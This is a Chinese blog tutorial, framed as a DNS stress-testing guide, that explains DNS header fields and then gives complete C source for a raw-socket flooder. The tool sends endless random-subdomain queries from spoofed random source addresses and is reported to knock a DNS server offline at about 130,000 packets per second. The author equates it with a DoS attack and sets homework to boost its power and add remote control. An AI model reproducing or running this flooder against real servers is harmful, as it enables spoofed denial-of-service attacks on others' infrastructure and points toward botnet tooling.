DNS是DomainNameSystem(域名系统)的缩写,简单来说就是负责域名与IP地址之间的转换,平时我们用到的大部分是域名转IP,当然也支持IP转域名的反向解析。在方方面面都会有DNS的身影,在负载均衡方面也可以借助DNS来实现,还有就是黑产们喜欢坚持广大用户的DNS来获取利益,可以说DNS是互联网最重要的协议之一。

0×01 起因

互联网上的DNS服务器非常非常的多,有公共的DNS 也有公司自己内部使用的DNS也有用于负载均衡的,我们公司呢也要建一个 DNS服务器,搭建DNS我是不擅长,但是搭建完之后需要做一下压力测试这我就比较喜欢了,毕竟这个压力测试说好听叫压力测试,说不好点那就是DOS攻击,接下来我就说说我进行压力测试的过程吧。

0×02 DNS协议基础

想要进行压力测试,至少要能模拟出正常用户的DNS请求才行,所以构造DNS请求报文我们需要先了解DNS协议的报文格式。

DNS是应用层的协议,使用TCP和UDP的53端口,不过一般情况下是使用UDP53端口的,所以呢今天我们构造的DNS也是基于UDP的。

如何制作DNS压力测试工具-RadeBit瑞安全

DNS协议的报文首部是定长的12字节,分别是标识(16bit)、标志(16bit)、问题记录数(16bit)、回答记录数(16bit)、授权记录数(16bit)、附加信息记录数(16bit)。

标识字段是用来匹配请求和响应的,有点类似ip协议的ID字段,应答报文的标识字段应该和请求报文的相同。

标志是由多个字段组成的

如何制作DNS压力测试工具-RadeBit瑞安全

QR字段长度是1bit,用来表示这个DNS报文是请求还是响应,因为DNS的请求和响应的报文首部格式相同,0表示请求,1表示响应。

OPcode字段呢长度是4bit,表示操作类型,0表示正向解析,1表示反向解析,2表示服务器状态请求。

AA字段长度为1bit,是授权回答标志位,0表示回答是非权威的,1则表示回答的服务器是授权服务器。

TC字段长度也是1bit,是截断标志位,1表示报文长度超过了512字节,并且被截断成了512字节,不过我在抓包的时候抓到很多超过512字节的

也并没有被截断。

RD字段长度为1bit,表示希望递归的标志,1表示请求服务器进行递归解析,0表示希望反复查询,但这个怎么查询还是服务器说了算。

RA字段只在服务器响应中有效,1表示服务器支持递归,0表示不支持递归。

RA后面的是保留字段,长度为3bit,必须置0。

rCode字段是用来表示错误状态的,长度为4bit,0表示没有错误,1表示格式错误,2表示服务器故障,3表示查询域名不存在,4表示不知道的解析类型,5表示管理上禁止。

问题记录数的16bit表示问题部分所包含的域名解析查询的个数,理论上最大是65535.

回答记录数也是16bit,相应的也是表示响应报文中回答记录的个数。

授权记录数也是16bit,表示授权部分所包含的授权记录的个数,请求报文中置0。

附加信息记录数长度是16bit,表示附加信息部分所包含的附加信息记录的个数。

以上的这12字节就是DNS包文的首部,我们做压力测试的话,只需要构造请求报文,所以一般情况下回答记录数、授权记录数、附加信息记录数都会置0.

接下来就是DNS的变长部分了,分别是问题部分、回答部分、授权部分、附加信息部分,我们要做只需要问题部分就可以了。

如何制作DNS压力测试工具-RadeBit瑞安全

这其中查询名就是我们要查询的域名,他是变长的。查询类型和查询类是定长的,都是16bit,这两个要写在整个报文的结尾。

查询类比较简单,1表示ip协议,符号为IN。其他协议的表示是什么其实我也不知道…

查询类型字段选择就比较多了,常用的如下图:

如何制作DNS压力测试工具-RadeBit瑞安全

0×03 构造报文

编程语言:C

运行环境:kali/ubuntu linux

编译器:gcc version 6.1.1

在linux中已经构造好了ip和udp的结构体分别在ip.h和udp.h两个头文件中,linux中应该也定义好了DNS协议的结构,不过我没找到…所以咱就自己构造一个也是一样的。

详细的解释在代码的备注中看吧。

#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <linux/udp.h>
/*定义一个DNS首部的结构体*/
struct dnshdr {
	__be16 id;
	__be16 flags;
	__be16 questions;
	__be16 answer;
	__be16 auth;
	__be16 add;
}
;
int main(int argc, char *argv[]) {
	if( argc == 1 ) {
		printf("这是一个DNS压力测试工具,命令格式./DNStest ip port delay n");
		exit(0);
	} else if( argc > 4 ) {
		printf("参数输入太多啦,请不带参数查看输入格式!n");
		exit(0);
	} else if( argc < 4 ) {
		printf("参数输入太少啦,请不带参数查看输入格式!n");
		exit(0);
	}
	struct sockaddr_in dstaddress;
	dstaddress.sin_family=AF_INET;
	dstaddress.sin_port=htons(atoi(argv[2]));
	dstaddress.sin_addr.s_addr = inet_addr(argv[1]);
	const int on=1;
	int sk=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
	setsockopt(sk,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
	srand(clock());
	char buf[256]= {
		0
	}
	;
	char dnsdata[128]= {
		0
	}
	;
	struct iphdr *iphead;
	struct udphdr *udp;
	struct dnshdr *dns;
	/*下面是规定ip、udp、dns在buf中的开始位置*/
	iphead=(struct iphdr*)buf;
	udp=(struct udphdr*)(buf+sizeof(*iphead));
	dns=(struct udphdr*)(buf+sizeof(*iphead)+sizeof(*udp));
	/*下面是构造ip首部*/
	iphead->version= 4;
	iphead->ihl=sizeof(*iphead)/4;
	iphead->tos=0;
	iphead->id=0;
	iphead->frag_off=0;
	iphead->protocol=17;
	iphead->check=0;
	inet_aton(argv[1],&iphead->daddr);
	/*下面是构造udp首部,udp首部比较短,长度和源端口每次都可能变化所以放到后面的循环中了,upd校验和可以不计算直接置0*/
	udp->dest=htons(atoi(argv[2]));
	udp->check=0;
	/*这是dns首部,问题记录数为1,当然也可以加多个问题,flags是那一大堆的标志位,不一个一个定义了,直接一起定义了*/
	dns->flags=htons(0x0100);
	dns->questions=htons(1);
	dns->answer=0;
	dns->auth=0;
	dns->add=0;
	while (1) {
		dns->id=htons(rand()%65535);
		/*dns的Id随机生成,每次都不一样*/
		int namelen=rand()%6+2;
		/*这里是随机生成查询域名的长度我这写的是2-8个字符,当然可以随便改*/
		char p;
		p=(char)namelen;
		memcpy(buf+40,&p,1);
		int i=0;
		char *pi=buf+41;
		for (i=0;i<namelen;i++) {
			int a=rand()%26+97;
			/*这里是ascii码a-z随机生成*/
			char ca=(char) a;
			memcpy(pi,&ca,1);
			pi++;
		}
		char *domain[]= {
			"com","edu","cn"
		}
		;
		/*这是预先定义的顶级域,这里只写了三个,也可以继续添加,但是要后面dii的随机数范围*/
		int dii=rand()%3;
		int domlen=strlen(domain[dii]);
		char cdomlen=(char)domlen;
		memcpy(buf+41+namelen,&cdomlen,1);
		memcpy(buf+42+namelen,domain[dii],domlen);
		int zero=0;
		char czero=(char)zero;
		memcpy(buf+42+namelen+domlen,&czero,1);
		/*这是查询名最后的那个0*/
		int type_class=htonl(0x00010001);
		/*这里是查询类型和查询类都是1,为了方便直接写在一起了*/
		memcpy(buf+43+namelen+domlen,&type_class,4);
		udp->len=htons(27+namelen+domlen);
		udp->source=htons(rand()%65535+1);
		int ip_len=47+namelen+domlen;
		iphead->tot_len=htons(ip_len);
		iphead->saddr=htonl((rand()%3758096383));
		/*源ip随机,0-223.255.255.255,其实其中的192.168和172.16、10也都应该剔除,不过好麻烦我没弄*/
		iphead->ttl=random()%98+30;
		sendto(sk,buf,ip_len,0,&dstaddress,sizeof(struct sockaddr_in));
		/*这是发送我们构造的dns报文了,并不断循环*/
		usleep(atoi(argv[3]));
		/*这里是一个延时.用于方便调节发包速度,单位是百万分之一秒,不需要调节的话就把它注释掉,需要的话在第三个参数设定延时,不能是小数*/
	}
}

0×04 测试效果

看一下编译完后的运行效果吧

如何制作DNS压力测试工具-RadeBit瑞安全

在wireshark中可以看到在100M网下每秒大概能发出13万请求,而且源地址源端口、ID、请求域名都是随机的,我测试了一下DNS服务器可以说瞬间就没法正常请求了….

如何制作DNS压力测试工具-RadeBit瑞安全

没开始测试前能解析,开始压力测试后就超时,对于一般的小型DNS服务器测试效果还是很明显的(双路E5+32G)。

今天就说到这吧,留两个家庭作业:

1.将这个测试工具的询问名由1个改成多个,加强威力。

2.将这个测试工具加上个远程控制功能。